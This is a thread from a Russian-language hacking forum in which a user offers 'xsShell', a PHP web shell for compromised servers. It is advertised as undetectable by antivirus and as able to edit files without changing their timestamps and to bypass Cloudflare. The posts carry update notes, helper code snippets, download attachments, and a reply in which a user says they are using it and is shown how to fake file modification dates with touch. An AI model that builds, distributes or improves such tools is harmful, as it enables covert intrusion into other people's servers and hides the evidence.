• XSS.stack #1 – первый литературный журнал от юзеров форума

прочее xsShell - Веб шел

k0d

RAM
Пользователь
Регистрация
17.01.2023
Сообщения
111
Реакции
96
Веб шелл написан на PHP+js. Терминал
На момент публикации веб шелл FUD.

Функционал
- Определение IP (ifconfig.me)
- Определение докера.
- Терминал
- Файловый менеджер
-- Создание файлов и директорий.
-- Переименование файлов и директорий.
-- Удаление файлов и директорий.
-- Редактирование файлов без изменении времени последнего изменения файла.

Пароль по умолчанию xss
Код:
$password = md5('xss');

1.png

2.png

3.png
 

Вложения

  • xsshell.php.zip
    5.8 КБ · Просмотры: 96
Пожалуйста, обратите внимание, что пользователь заблокирован
Молодец. Но веб, это не тольпо про php. Тем более такой в 2024 то году
r57 ван лав
 
Добавил загрузку файла в файловом менеджере.
Исправлен баг не корректного определения пути скрипта.
$_SERVER['DOCUMENT_ROOT'] заменен на $_SERVER['SCRIPT_FILENAME'].
Исправлена некорректное определение прав на файлы и папки.
Протестировал и добавил поддержку php 5.3+ =)
Добавлен Loader при загрузке страниц.
Bypass Cloudflare при изменении файла.
 

Вложения

  • xsshell.php.zip
    6.7 КБ · Просмотры: 45
Последнее редактирование:
Update v 1.1
-Ip теперь имеет формат ifconfig.me | gethostbyname($_SERVER["SERVER_ADDR"])
-lock shell
-Исправлены мелкие баги и недочеты
исправление для getip
Код:
function getIp(){
    return isset($_SESSION["serverIp"]) ? $_SESSION["serverIp"] : $_SESSION["serverIp"] = file_get_contents("https://ifconfig.me/ip") . " | " . gethostbyname($_SERVER["SERVER_ADDR"]);
}


Исправление для формирования массива $parts

Код:
function calculatePath($currentPath, $cm)
{
    if ($cm === '../') {
        $parts = explode('/', rtrim(str_replace("\\", "/", $currentPath), '/'));
        array_pop($parts);
        return implode('/', $parts);
    } elseif ($cm === './') {
        return $currentPath;
    } elseif ($cm === '/') {
        return "/";
    } else {
        $cmParts = explode('/', rtrim($cm, '/'));
        $pathParts = explode('/', rtrim(str_replace("\\", "/", $currentPath), '/'));

        foreach ($cmParts as $part) {
            if ($part === '..') {
                array_pop($pathParts);
            } else {
                $pathParts[] = $part;
            }
        }

        return implode('/', $pathParts);
    }
}
 
Последнее редактирование:
Протестировал и добавил поддержку php 5.3+ =)
какие версии пхп поддерживаются?
 
какие версии пхп поддерживаются?
тестил на 5.3 7.2 8.1
исправление для getip
Код:
function getIp(){
    return isset($_SESSION["serverIp"]) ? $_SESSION["serverIp"] : $_SESSION["serverIp"] = file_get_contents("https://ifconfig.me/ip") . " | " . gethostbyname($_SERVER["SERVER_ADDR"]);
}


Исправление для формирования массива $parts

Код:
function calculatePath($currentPath, $cm)
{
    if ($cm === '../') {
        $parts = explode('/', rtrim(str_replace("\\", "/", $currentPath), '/'));
        array_pop($parts);
        return implode('/', $parts);
    } elseif ($cm === './') {
        return $currentPath;
    } elseif ($cm === '/') {
        return "/";
    } else {
        $cmParts = explode('/', rtrim($cm, '/'));
        $pathParts = explode('/', rtrim(str_replace("\\", "/", $currentPath), '/'));

        foreach ($cmParts as $part) {
            if ($part === '..') {
                array_pop($pathParts);
            } else {
                $pathParts[] = $part;
            }
        }

        return implode('/', $pathParts);
    }
}
Спасибо, исправлено.
 

Вложения

  • xsshell.php.zip
    7.5 КБ · Просмотры: 84
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Тут много базовых мануалов, без практики на реальных сайтах. Это плохо, переписать мануал из гугла, и выдать за своё это талант.
 
Автору спасибо, взял в работу. Дату Last Modified ни как не исправить ? Был шел который правил дату эту, щас найти не могу ни как его (
touch -t 2024 04 01 04 14 имя файла
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх